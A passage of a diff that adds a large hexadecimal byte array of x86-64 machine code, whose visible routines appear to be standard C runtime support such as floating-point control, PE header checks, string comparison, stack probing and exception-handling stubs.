0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xec, 0x08, 0x0f, 0xae, 0x1c, 0x24, 0x8b, 0x04, 0x24, 0x48, + 0x83, 0xc4, 0x08, 0xc3, 0x89, 0x4c, 0x24, 0x08, 0x0f, 0xae, 0x54, 0x24, + 0x08, 0xc3, 0x0f, 0xae, 0x5c, 0x24, 0x08, 0xb9, 0xc0, 0xff, 0xff, 0xff, + 0x21, 0x4c, 0x24, 0x08, 0x0f, 0xae, 0x54, 0x24, 0x08, 0xc3, 0x66, 0x0f, + 0x2e, 0x05, 0x6a, 0x97, 0x00, 0x00, 0x73, 0x14, 0x66, 0x0f, 0x2e, 0x05, + 0x68, 0x97, 0x00, 0x00, 0x76, 0x0a, 0xf2, 0x48, 0x0f, 0x2d, 0xc8, 0xf2, + 0x48, 0x0f, 0x2a, 0xc1, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x48, + 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8b, 0x44, 0x24, 0x78, 0x48, 0x89, + 0x44, 0x24, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x70, 0x48, 0x89, 0x44, 0x24, + 0x20, 0xe8, 0x06, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x48, 0xc3, 0xcc, + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, + 0x89, 0x78, 0x20, 0x48, 0x89, 0x48, 0x08, 0x55, 0x48, 0x8b, 0xec, 0x48, + 0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x41, 0x8b, 0xf1, 0x33, 0xd2, 0xbf, + 0x0d, 0x00, 0x00, 0xc0, 0x89, 0x51, 0x04, 0x48, 0x8b, 0x45, 0x10, 0x89, + 0x50, 0x08, 0x48, 0x8b, 0x45, 0x10, 0x89, 0x50, 0x0c, 0x41, 0xf6, 0xc0, + 0x10, 0x74, 0x0d, 0x48, 0x8b, 0x45, 0x10, 0xbf, 0x8f, 0x00, 0x00, 0xc0, + 0x83, 0x48, 0x04, 0x01, 0x41, 0xf6, 0xc0, 0x02, 0x74, 0x0d, 0x48, 0x8b, + 0x45, 0x10, 0xbf, 0x93, 0x00, 0x00, 0xc0, 0x83, 0x48, 0x04, 0x02, 0x41, + 0xf6, 0xc0, 0x01, 0x74, 0x0d, 0x48, 0x8b, 0x45, 0x10, 0xbf, 0x91, 0x00, + 0x00, 0xc0, 0x83, 0x48, 0x04, 0x04, 0x41, 0xf6, 0xc0, 0x04, 0x74, 0x0d, + 0x48, 0x8b, 0x45, 0x10, 0xbf, 0x8e, 0x00, 0x00, 0xc0, 0x83, 0x48, 0x04, + 0x08, 0x41, 0xf6, 0xc0, 0x08, 0x74, 0x0d, 0x48, 0x8b, 0x45, 0x10, 0xbf, + 0x90, 0x00, 0x00, 0xc0, 0x83, 0x48, 0x04, 0x10, 0x48, 0x8b, 0x4d, 0x10, + 0x48, 0x8b, 0x03, 0x48, 0xc1, 0xe8, 0x07, 0xc1, 0xe0, 0x04, 0xf7, 0xd0, + 0x33, 0x41, 0x08, 0x83, 0xe0, 0x10, 0x31, 0x41, 0x08, 0x48, 0x8b, 0x4d, + 0x10, 0x48, 0x8b, 0x03, 0x48, 0xc1, 0xe8, 0x09, 0xc1, 0xe0, 0x03, 0xf7, + 0xd0, 0x33, 0x41, 0x08, 0x83, 0xe0, 0x08, 0x31, 0x41, 0x08, 0x48, 0x8b, + 0x4d, 0x10, 0x48, 0x8b, 0x03, 0x48, 0xc1, 0xe8, 0x0a, 0xc1, 0xe0, 0x02, + 0xf7, 0xd0, 0x33, 0x41, 0x08, 0x83, 0xe0, 0x04, 0x31, 0x41, 0x08, 0x48, + 0x8b, 0x4d, 0x10, 0x48, 0x8b, 0x03, 0x48, 0xc1, 0xe8, 0x0b, 0x03, 0xc0, + 0xf7, 0xd0, 0x33, 0x41, 0x08, 0x83, 0xe0, 0x02, 0x31, 0x41, 0x08, 0x8b, + 0x03, 0x48, 0x8b, 0x4d, 0x10, 0x48, 0xc1, 0xe8, 0x0c, 0xf7, 0xd0, 0x33, + 0x41, 0x08, 0x83, 0xe0, 0x01, 0x31, 0x41, 0x08, 0xe8, 0xe7, 0x02, 0x00, + 0x00, 0x48, 0x8b, 0xd0, 0xa8, 0x01, 0x74, 0x08, 0x48, 0x8b, 0x4d, 0x10, + 0x83, 0x49, 0x0c, 0x10, 0xf6, 0xc2, 0x04, 0x74, 0x08, 0x48, 0x8b, 0x4d, + 0x10, 0x83, 0x49, 0x0c, 0x08, 0xf6, 0xc2, 0x08, 0x74, 0x08, 0x48, 0x8b, + 0x45, 0x10, 0x83, 0x48, 0x0c, 0x04, 0xf6, 0xc2, 0x10, 0x74, 0x08, 0x48, + 0x8b, 0x45, 0x10, 0x83, 0x48, 0x0c, 0x02, 0xf6, 0xc2, 0x20, 0x74, 0x08, + 0x48, 0x8b, 0x45, 0x10, 0x83, 0x48, 0x0c, 0x01, 0x8b, 0x03, 0xb9, 0x00, + 0x60, 0x00, 0x00, 0x48, 0x23, 0xc1, 0x74, 0x3e, 0x48, 0x3d, 0x00, 0x20, + 0x00, 0x00, 0x74, 0x26, 0x48, 0x3d, 0x00, 0x40, 0x00, 0x00, 0x74, 0x0e, + 0x48, 0x3b, 0xc1, 0x75, 0x30, 0x48, 0x8b, 0x45, 0x10, 0x83, 0x08, 0x03, + 0xeb, 0x27, 0x48, 0x8b, 0x45, 0x10, 0x83, 0x20, 0xfe, 0x48, 0x8b, 0x45, + 0x10, 0x83, 0x08, 0x02, 0xeb, 0x17, 0x48, 0x8b, 0x45, 0x10, 0x83, 0x20, + 0xfd, 0x48, 0x8b, 0x45, 0x10, 0x83, 0x08, 0x01, 0xeb, 0x07, 0x48, 0x8b, + 0x45, 0x10, 0x83, 0x20, 0xfc, 0x48, 0x8b, 0x45, 0x10, 0x81, 0xe6, 0xff, + 0x0f, 0x00, 0x00, 0xc1, 0xe6, 0x05, 0x81, 0x20, 0x1f, 0x00, 0xfe, 0xff, + 0x48, 0x8b, 0x45, 0x10, 0x09, 0x30, 0x48, 0x8b, 0x45, 0x10, 0x48, 0x8b, + 0x75, 0x38, 0x83, 0x48, 0x20, 0x01, 0x83, 0x7d, 0x40, 0x00, 0x74, 0x33, + 0x48, 0x8b, 0x45, 0x10, 0xba, 0xe1, 0xff, 0xff, 0xff, 0x21, 0x50, 0x20, + 0x48, 0x8b, 0x45, 0x30, 0x8b, 0x08, 0x48, 0x8b, 0x45, 0x10, 0x89, 0x48, + 0x10, 0x48, 0x8b, 0x45, 0x10, 0x83, 0x48, 0x60, 0x01, 0x48, 0x8b, 0x45, + 0x10, 0x21, 0x50, 0x60, 0x48, 0x8b, 0x45, 0x10, 0x8b, 0x0e, 0x89, 0x48, + 0x50, 0xeb, 0x48, 0x48, 0x8b, 0x4d, 0x10, 0x41, 0xb8, 0xe3, 0xff, 0xff, + 0xff, 0x8b, 0x41, 0x20, 0x41, 0x23, 0xc0, 0x83, 0xc8, 0x02, 0x89, 0x41, + 0x20, 0x48, 0x8b, 0x45, 0x30, 0x48, 0x8b, 0x08, 0x48, 0x8b, 0x45, 0x10, + 0x48, 0x89, 0x48, 0x10, 0x48, 0x8b, 0x45, 0x10, 0x83, 0x48, 0x60, 0x01, + 0x48, 0x8b, 0x55, 0x10, 0x8b, 0x42, 0x60, 0x41, 0x23, 0xc0, 0x83, 0xc8, + 0x02, 0x89, 0x42, 0x60, 0x48, 0x8b, 0x45, 0x10, 0x48, 0x8b, 0x16, 0x48, + 0x89, 0x50, 0x50, 0xe8, 0xec, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x4c, 0x8d, + 0x4d, 0x10, 0x8b, 0xcf, 0x44, 0x8d, 0x42, 0x01, 0xff, 0x15, 0x0a, 0x11, + 0x00, 0x00, 0x48, 0x8b, 0x4d, 0x10, 0x8b, 0x41, 0x08, 0xa8, 0x10, 0x74, + 0x08, 0x48, 0x0f, 0xba, 0x33, 0x07, 0x8b, 0x41, 0x08, 0xa8, 0x08, 0x74, + 0x08, 0x48, 0x0f, 0xba, 0x33, 0x09, 0x8b, 0x41, 0x08, 0xa8, 0x04, 0x74, + 0x08, 0x48, 0x0f, 0xba, 0x33, 0x0a, 0x8b, 0x41, 0x08, 0xa8, 0x02, 0x74, + 0x08, 0x48, 0x0f, 0xba, 0x33, 0x0b, 0x8b, 0x41, 0x08, 0xa8, 0x01, 0x74, + 0x05, 0x48, 0x0f, 0xba, 0x33, 0x0c, 0x8b, 0x01, 0x83, 0xe0, 0x03, 0x74, + 0x30, 0x83, 0xe8, 0x01, 0x74, 0x1f, 0x83, 0xe8, 0x01, 0x74, 0x0e, 0x83, + 0xf8, 0x01, 0x75, 0x28, 0x48, 0x81, 0x0b, 0x00, 0x60, 0x00, 0x00, 0xeb, + 0x1f, 0x48, 0x0f, 0xba, 0x33, 0x0d, 0x48, 0x0f, 0xba, 0x2b, 0x0e, 0xeb, + 0x13, 0x48, 0x0f, 0xba, 0x33, 0x0e, 0x48, 0x0f, 0xba, 0x2b, 0x0d, 0xeb, + 0x07, 0x48, 0x81, 0x23, 0xff, 0x9f, 0xff, 0xff, 0x83, 0x7d, 0x40, 0x00, + 0x74, 0x07, 0x8b, 0x41, 0x50, 0x89, 0x06, 0xeb, 0x07, 0x48, 0x8b, 0x41, + 0x50, 0x48, 0x89, 0x06, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b, 0x74, + 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, 0x5d, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x83, 0xf9, 0x01, 0x74, + 0x15, 0x8d, 0x41, 0xfe, 0x83, 0xf8, 0x01, 0x77, 0x18, 0xe8, 0x3e, 0x5c, + 0xff, 0xff, 0xc7, 0x00, 0x22, 0x00, 0x00, 0x00, 0xeb, 0x0b, 0xe8, 0x31, + 0x5c, 0xff, 0xff, 0xc7, 0x00, 0x21, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, + 0x28, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0xe8, 0x3d, + 0xfc, 0xff, 0xff, 0x8b, 0xd8, 0x83, 0xe3, 0x3f, 0xe8, 0x4d, 0xfc, 0xff, + 0xff, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x57, 0x48, + 0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0xe8, 0x0e, 0xfc, + 0xff, 0xff, 0x8b, 0xf0, 0x89, 0x44, 0x24, 0x38, 0x8b, 0xcb, 0xf7, 0xd1, + 0x81, 0xc9, 0x7f, 0x80, 0xff, 0xff, 0x23, 0xc8, 0x23, 0xfb, 0x0b, 0xcf, + 0x89, 0x4c, 0x24, 0x30, 0x80, 0x3d, 0x0d, 0xc8, 0x00, 0x00, 0x00, 0x74, + 0x25, 0xf6, 0xc1, 0x40, 0x74, 0x20, 0xe8, 0xf1, 0xfb, 0xff, 0xff, 0xeb, + 0x21, 0xc6, 0x05, 0xf8, 0xc7, 0x00, 0x00, 0x00, 0x8b, 0x4c, 0x24, 0x30, + 0x83, 0xe1, 0xbf, 0xe8, 0xdc, 0xfb, 0xff, 0xff, 0x8b, 0x74, 0x24, 0x38, + 0xeb, 0x08, 0x83, 0xe1, 0xbf, 0xe8, 0xce, 0xfb, 0xff, 0xff, 0x8b, 0xc6, + 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48, 0x48, 0x83, + 0xc4, 0x20, 0x5f, 0xc3, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xd9, 0xe8, 0x9e, 0xfb, 0xff, 0xff, 0x83, 0xe3, 0x3f, 0x0b, 0xc3, 0x8b, + 0xc8, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xe9, 0x9d, 0xfb, 0xff, 0xff, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0x83, 0xfb, 0xff, 0xff, 0x83, 0xe0, 0x3f, + 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0x4c, 0x63, 0x41, 0x3c, 0x45, 0x33, 0xc9, 0x4c, + 0x03, 0xc1, 0x4c, 0x8b, 0xd2, 0x41, 0x0f, 0xb7, 0x40, 0x14, 0x45, 0x0f, + 0xb7, 0x58, 0x06, 0x48, 0x83, 0xc0, 0x18, 0x49, 0x03, 0xc0, 0x45, 0x85, + 0xdb, 0x74, 0x1e, 0x8b, 0x50, 0x0c, 0x4c, 0x3b, 0xd2, 0x72, 0x0a, 0x8b, + 0x48, 0x08, 0x03, 0xca, 0x4c, 0x3b, 0xd1, 0x72, 0x0e, 0x41, 0xff, 0xc1, + 0x48, 0x83, 0xc0, 0x28, 0x45, 0x3b, 0xcb, 0x72, 0xe2, 0x33, 0xc0, 0xc3, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xd9, 0x48, 0x8d, 0x3d, 0x3c, 0xed, 0xfe, 0xff, 0x48, 0x8b, 0xcf, 0xe8, + 0x34, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x22, 0x48, 0x2b, 0xdf, 0x48, + 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0x82, 0xff, 0xff, 0xff, 0x48, 0x85, + 0xc0, 0x74, 0x0f, 0x8b, 0x40, 0x24, 0xc1, 0xe8, 0x1f, 0xf7, 0xd0, 0x83, + 0xe0, 0x01, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, + 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xb8, 0x4d, 0x5a, 0x00, + 0x00, 0x66, 0x39, 0x01, 0x75, 0x20, 0x48, 0x63, 0x41, 0x3c, 0x48, 0x03, + 0xc1, 0x81, 0x38, 0x50, 0x45, 0x00, 0x00, 0x75, 0x11, 0xb9, 0x0b, 0x02, + 0x00, 0x00, 0x66, 0x39, 0x48, 0x18, 0x75, 0x06, 0xb8, 0x01, 0x00, 0x00, + 0x00, 0xc3, 0x33, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0x4d, 0x8b, 0x41, 0x38, 0x48, 0x8b, 0xca, 0x49, 0x8b, 0xd1, 0xe8, 0x0d, + 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, + 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x45, 0x8b, 0x18, 0x48, 0x8b, 0xda, + 0x41, 0x83, 0xe3, 0xf8, 0x4c, 0x8b, 0xc9, 0x41, 0xf6, 0x00, 0x04, 0x4c, + 0x8b, 0xd1, 0x74, 0x13, 0x41, 0x8b, 0x40, 0x08, 0x4d, 0x63, 0x50, 0x04, + 0xf7, 0xd8, 0x4c, 0x03, 0xd1, 0x48, 0x63, 0xc8, 0x4c, 0x23, 0xd1, 0x49, + 0x63, 0xc3, 0x4a, 0x8b, 0x14, 0x10, 0x48, 0x8b, 0x43, 0x10, 0x8b, 0x48, + 0x08, 0x48, 0x8b, 0x43, 0x08, 0xf6, 0x44, 0x01, 0x03, 0x0f, 0x74, 0x0b, + 0x0f, 0xb6, 0x44, 0x01, 0x03, 0x83, 0xe0, 0xf0, 0x4c, 0x03, 0xc8, 0x4c, + 0x33, 0xca, 0x49, 0x8b, 0xc9, 0x5b, 0xe9, 0xd5, 0x05, 0xff, 0xff, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, + 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xec, 0x10, + 0x4c, 0x89, 0x14, 0x24, 0x4c, 0x89, 0x5c, 0x24, 0x08, 0x4d, 0x33, 0xdb, + 0x4c, 0x8d, 0x54, 0x24, 0x18, 0x4c, 0x2b, 0xd0, 0x4d, 0x0f, 0x42, 0xd3, + 0x65, 0x4c, 0x8b, 0x1c, 0x25, 0x10, 0x00, 0x00, 0x00, 0x4d, 0x3b, 0xd3, + 0x73, 0x16, 0x66, 0x41, 0x81, 0xe2, 0x00, 0xf0, 0x4d, 0x8d, 0x9b, 0x00, + 0xf0, 0xff, 0xff, 0x41, 0xc6, 0x03, 0x00, 0x4d, 0x3b, 0xd3, 0x75, 0xf0, + 0x4c, 0x8b, 0x14, 0x24, 0x4c, 0x8b, 0x5c, 0x24, 0x08, 0x48, 0x83, 0xc4, + 0x10, 0xc3, 0xcc, 0xcc, 0x45, 0x33, 0xc9, 0x4c, 0x8b, 0xc1, 0x85, 0xd2, + 0x75, 0x3f, 0x41, 0x83, 0xe0, 0x0f, 0x48, 0x8b, 0xd1, 0x48, 0x83, 0xe2, + 0xf0, 0x41, 0x8b, 0xc8, 0x41, 0x83, 0xc8, 0xff, 0x0f, 0x57, 0xc0, 0x41, + 0xd3, 0xe0, 0x66, 0x0f, 0x74, 0x02, 0x66, 0x0f, 0xd7, 0xc0, 0x41, 0x23, + 0xc0, 0x75, 0x13, 0x48, 0x83, 0xc2, 0x10, 0x0f, 0x57, 0xc0, 0x66, 0x0f, + 0x74, 0x02, 0x66, 0x0f, 0xd7, 0xc0, 0x85, 0xc0, 0x74, 0xed, 0x0f, 0xbc, + 0xc0, 0x48, 0x03, 0xc2, 0xc3, 0x83, 0x3d, 0xb8, 0xbb, 0x00, 0x00, 0x02, + 0x0f, 0x8d, 0xa8, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0xc2, 0x4d, 0x8b, 0xd0, + 0x41, 0x83, 0xe0, 0x0f, 0x49, 0x83, 0xe2, 0xf0, 0x8b, 0xc8, 0xc1, 0xe1, + 0x08, 0x0b, 0xc8, 0x66, 0x0f, 0x6e, 0xc1, 0x41, 0x8b, 0xc8, 0xf2, 0x0f, + 0x70, 0xc8, 0x00, 0x41, 0x83, 0xc8, 0xff, 0x0f, 0x57, 0xc0, 0x41, 0xd3, + 0xe0, 0x66, 0x41, 0x0f, 0x74, 0x02, 0x66, 0x0f, 0xd7, 0xc8, 0x66, 0x0f, + 0x70, 0xd1, 0x00, 0x66, 0x0f, 0x6f, 0xc2, 0x66, 0x41, 0x0f, 0x74, 0x02, + 0x66, 0x0f, 0xd7, 0xd0, 0x41, 0x23, 0xd0, 0x41, 0x23, 0xc8, 0x75, 0x2d, + 0x0f, 0xbd, 0xca, 0x0f, 0x57, 0xc9, 0x66, 0x0f, 0x6f, 0xc2, 0x49, 0x03, + 0xca, 0x85, 0xd2, 0x4c, 0x0f, 0x45, 0xc9, 0x49, 0x83, 0xc2, 0x10, 0x66, + 0x41, 0x0f, 0x74, 0x0a, 0x66, 0x41, 0x0f, 0x74, 0x02, 0x66, 0x0f, 0xd7, + 0xc9, 0x66, 0x0f, 0xd7, 0xd0, 0x85, 0xc9, 0x74, 0xd3, 0x8b, 0xc1, 0xf7, + 0xd8, 0x23, 0xc1, 0xff, 0xc8, 0x23, 0xd0, 0x0f, 0xbd, 0xca, 0x49, 0x03, + 0xca, 0x85, 0xd2, 0x4c, 0x0f, 0x45, 0xc9, 0x49, 0x8b, 0xc1, 0xc3, 0x41, + 0x0f, 0xbe, 0x00, 0x3b, 0xc2, 0x4d, 0x0f, 0x44, 0xc8, 0x41, 0x80, 0x38, + 0x00, 0x74, 0xec, 0x49, 0xff, 0xc0, 0x41, 0xf6, 0xc0, 0x0f, 0x75, 0xe7, + 0x0f, 0xb6, 0xc2, 0x66, 0x0f, 0x6e, 0xc0, 0x66, 0x41, 0x0f, 0x3a, 0x63, + 0x00, 0x40, 0x73, 0x0d, 0x4c, 0x63, 0xc9, 0x4d, 0x03, 0xc8, 0x66, 0x41, + 0x0f, 0x3a, 0x63, 0x00, 0x40, 0x74, 0xc4, 0x49, 0x83, 0xc0, 0x10, 0xeb, + 0xe2, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x2b, 0xd1, 0x49, 0x83, 0xf8, 0x08, 0x72, 0x22, 0xf6, 0xc1, 0x07, + 0x74, 0x14, 0x66, 0x90, 0x8a, 0x01, 0x3a, 0x04, 0x11, 0x75, 0x2c, 0x48, + 0xff, 0xc1, 0x49, 0xff, 0xc8, 0xf6, 0xc1, 0x07, 0x75, 0xee, 0x4d, 0x8b, + 0xc8, 0x49, 0xc1, 0xe9, 0x03, 0x75, 0x1f, 0x4d, 0x85, 0xc0, 0x74, 0x0f, + 0x8a, 0x01, 0x3a, 0x04, 0x11, 0x75, 0x0c, 0x48, 0xff, 0xc1, 0x49, 0xff, + 0xc8, 0x75, 0xf1, 0x48, 0x33, 0xc0, 0xc3, 0x1b, 0xc0, 0x83, 0xd8, 0xff, + 0xc3, 0x90, 0x49, 0xc1, 0xe9, 0x02, 0x74, 0x37, 0x48, 0x8b, 0x01, 0x48, + 0x3b, 0x04, 0x11, 0x75, 0x5b, 0x48, 0x8b, 0x41, 0x08, 0x48, 0x3b, 0x44, + 0x11, 0x08, 0x75, 0x4c, 0x48, 0x8b, 0x41, 0x10, 0x48, 0x3b, 0x44, 0x11, + 0x10, 0x75, 0x3d, 0x48, 0x8b, 0x41, 0x18, 0x48, 0x3b, 0x44, 0x11, 0x18, + 0x75, 0x2e, 0x48, 0x83, 0xc1, 0x20, 0x49, 0xff, 0xc9, 0x75, 0xcd, 0x49, + 0x83, 0xe0, 0x1f, 0x4d, 0x8b, 0xc8, 0x49, 0xc1, 0xe9, 0x03, 0x74, 0x9b, + 0x48, 0x8b, 0x01, 0x48, 0x3b, 0x04, 0x11, 0x75, 0x1b, 0x48, 0x83, 0xc1, + 0x08, 0x49, 0xff, 0xc9, 0x75, 0xee, 0x49, 0x83, 0xe0, 0x07, 0xeb, 0x83, + 0x48, 0x83, 0xc1, 0x08, 0x48, 0x83, 0xc1, 0x08, 0x48, 0x83, 0xc1, 0x08, + 0x48, 0x8b, 0x0c, 0x0a, 0x48, 0x0f, 0xc8, 0x48, 0x0f, 0xc9, 0x48, 0x3b, + 0xc1, 0x1b, 0xc0, 0x83, 0xd8, 0xff, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, + 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xff, 0x25, 0xb2, 0x0c, 0x00, 0x00, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x40, 0x55, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xea, 0x8a, 0x4d, 0x40, 0x48, 0x83, 0xc4, 0x20, + 0x5d, 0xe9, 0xee, 0x0c, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, + 0x20, 0x48, 0x8b, 0xea, 0x8a, 0x4d, 0x20, 0xe8, 0xdc, 0x0c, 0xff, 0xff, + 0x90, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0xcc, 0x40, 0x55, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xea, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0x3d, + 0x0b, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, + 0xea, 0x48, 0x8b, 0x01, 0x8b, 0x10, 0x48, 0x89, 0x4c, 0x24, 0x28, 0x89, + 0x54, 0x24, 0x20, 0x4c, 0x8d, 0x0d, 0xde, 0x02, 0xff, 0xff, 0x4c, 0x8b, + 0x45, 0x70, 0x8b, 0x55, 0x68, 0x48, 0x8b, 0x4d, 0x60, 0xe8, 0x7e, 0x0a, + 0xff, 0xff, 0x90, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0xc3, 0xcc, 0x40, 0x55, + 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x01, 0x33, 0xc9, 0x81, 0x38, 0x05, 0x00, + 0x00, 0xc0, 0x0f, 0x94, 0xc1, 0x8b, 0xc1, 0x5d, 0xc3, 0xcc, 0x40, 0x53, + 0x55, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0xea, 0x48, 0x89, 0x4d, 0x38, + 0x48, 0x89, 0x4d, 0x30, 0x80, 0x7d, 0x58, 0x00, 0x74, 0x6c, 0x48, 0x8b, + 0x45, 0x30, 0x48, 0x8b, 0x08, 0x48, 0x89, 0x4d, 0x28, 0x48, 0x8b, 0x45, + 0x28, 0x81, 0x38, 0x63, 0x73, 0x6d, 0xe0, 0x75, 0x55, 0x48, 0x8b, 0x45, + 0x28, 0x83, 0x78, 0x18, 0x04, 0x75, 0x4b, 0x48, 0x8b, 0x45, 0x28, 0x81, + 0x78, 0x20, 0x20, 0x05, 0x93, 0x19, 0x74, 0x1a, 0x48, 0x8b, 0x45, 0x28, + 0x81, 0x78, 0x20, 0x21, 0x05, 0x93, 0x19, 0x74, 0x0d, 0x48, 0x8b, 0x45, + 0x28, 0x81, 0x78, 0x20, 0x22, 0x05, 0x93, 0x19, 0x75, 0x24, 0xe8, 0xd5, + 0x15, 0xff, 0xff, 0x48, 0x8b, 0x4d, 0x28, 0x48, 0x89, 0x48, 0x20, 0x48, + 0x8b, 0x45, 0x30, 0x48, 0x8b, 0x58, 0x08, 0xe8, 0xc0, 0x15, 0xff, 0xff, + 0x48, 0x89, 0x58, 0x28, 0xe8, 0xfb, 0x4a, 0xff, 0xff, 0x90, 0xc7, 0x45, + 0x20, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x20, 0x48, 0x83, 0xc4, 0x28, + 0x5d, 0x5b, 0xc3, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xea, 0x48, 0x8b, 0x45, 0x48, 0x8b, 0x08, 0x48, 0x83, 0xc4, 0x20, 0x5d, + 0xe9, 0x53, 0x77, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, + 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x01, 0x8b, 0x08, 0xe8, 0xdf, 0x3f, 0xff, + 0xff, 0x90, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0xcc, 0x40, 0x55, 0x48, + 0x83, 0xec, 0x20, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x45, 0x58, 0x8b, 0x08, + 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0x1e, 0x77, 0xff, 0xff, 0xcc, 0x40, + 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xea, 0xb9, 0x07, 0x00, 0x00, + 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0x05, 0x77, 0xff, 0xff, 0xcc, + 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xea, 0xb9, 0x05, 0x00, + 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0xec, 0x76, 0xff, 0xff, + 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xea, 0x33, 0xc9, + 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0xd6, 0x76, 0xff, 0xff, 0xcc, 0x40, + 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xea, 0x80, 0x7d, 0x70, 0x00, + 0x74, 0x0b, 0xb9, 0x03, 0x00, 0x00, 0x00, 0xe8, 0xbc, 0x76, 0xff, 0xff, + 0x90, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0xcc, 0x40, 0x55, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x4d, 0x48, 0x48, 0x8b, 0x09, + 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0xe6, 0x6b, 0xff, 0xff, 0xcc, 0x40, + 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x85, 0x98, + 0x00, 0x00, 0x00, 0x8b, 0x08, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0x7d, + 0x76, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 